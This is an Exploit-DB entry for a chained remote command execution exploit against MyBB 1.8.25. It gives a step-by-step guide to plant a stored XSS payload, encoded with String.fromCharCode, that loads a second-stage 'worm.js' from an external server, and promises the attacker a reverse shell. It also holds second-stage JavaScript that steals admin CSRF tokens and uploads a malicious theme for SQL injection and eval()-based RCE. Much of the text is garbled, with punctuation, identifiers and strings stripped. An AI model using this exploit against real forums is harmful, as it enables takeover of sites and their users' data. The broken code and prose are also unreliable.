标题: MyBB 1.8.25 - Chained Remote Command Execution EDB-ID: 49696 CVE: 2021-27890 2021-27889 类型: WEBAPPS 平台: PHP 发布日期: 2021-03-22 漏洞利用脚本: # Exploit Title: MyBB 1.8.25 - Chained Remote Command Execution
# Exploit Author: SivertPL (kroppoloe@protonmail.ch)
# Date: 19.03.2021
# Description: Nested autourl Stored XSS -> templateset second order SQL Injection leading to RCE through improper string interpolation in eval().
# Software Link: https://resources.mybb.com/downloads/mybb_1825.zip
# CVE: CVE-2021-27889, CVE-2021-27890

# Reference: https://portswigger.net/daily-swig/chained-vulnerabilities-used-to-take-control-of-mybb-forums 
# The exploit requires the target administrator to have a valid ACP session.
# Proof of Concept Video: https://www.youtube.com/watch?v=xU1Y9_bgoFQ
# Guide:

1) In order to escape various checks, the XSS has to download this .js file from an external server, and then execute it. 

Please replace the source  the following script node  an  pointing to the second stage js   file to be downloaded by the target

    document

 Please encode the aforementioned  payload  StringfromCharCode to achieve constraintless JavaScript execution environment

You can use  website httpsevegdstringfromcharcodeencoder

 Put the resulting encoded payload  the nested autourl vulnerability vector

    imghttpxyzsomethingcomimagehttpxcomonerror  

 The final payload should look like 

    imghttpxyzsomethingcomimagehttpxcomonerrorString101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,58,56,48,48,48,47,119,111,114,109,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41,59));//[/img]

 Send the full vector to the target either by  message a post or any other place where  BBCode is supported
Once the targetbypass' 

After the execution  the payload you should receive a reverse shell provided the admin has a valid  session

 Enjoy your  For educational purposes only 


   
   

   
   

   

           
       




  
     request   

    request 
    request





 token tid 

     request   

    request   tid    token

    request     

    request




 token 
     request   

    request 

    requestresponseType  

    request    
        
         response  requestresponse

         aTags  response
         searchText  
         found

          i   i  aTagslength i 
             aTagsitextContent  searchText 
                found  aTagsi
                
            
        

         href  found

         urlParams   href

         tid  urlParams
    

        token tid 
    

    request






 token 

     request   

    request 

     data   

    data token
    data    
    data 
    data 
    data 
    data 
    data 
    data 
    data 

    request    
        
        token
    


    requestdata





  
     xmlDom  documentimplementation  
    
     theme  xmlDom
    theme 
    theme 

     properties  xmlDom
    themeproperties

     template_set  xmlDom
    template_setinnerHTML  
    propertiestemplate_set

    xmlDomtheme

     serialized   xmlDom

     result    serialized
     file   result 
    
     file





 request 

     response  requestresponse
     token  responsevalue

    token    
        
        
    

    
    token





  
    
     request   

    request 
    requestresponseType  

    request    
        request 
    

    request





  

     getAll  document

    getAllelement  
         pNode  elementparentNodeinnerText URL: https://www.exploit-db.com/exploits/49696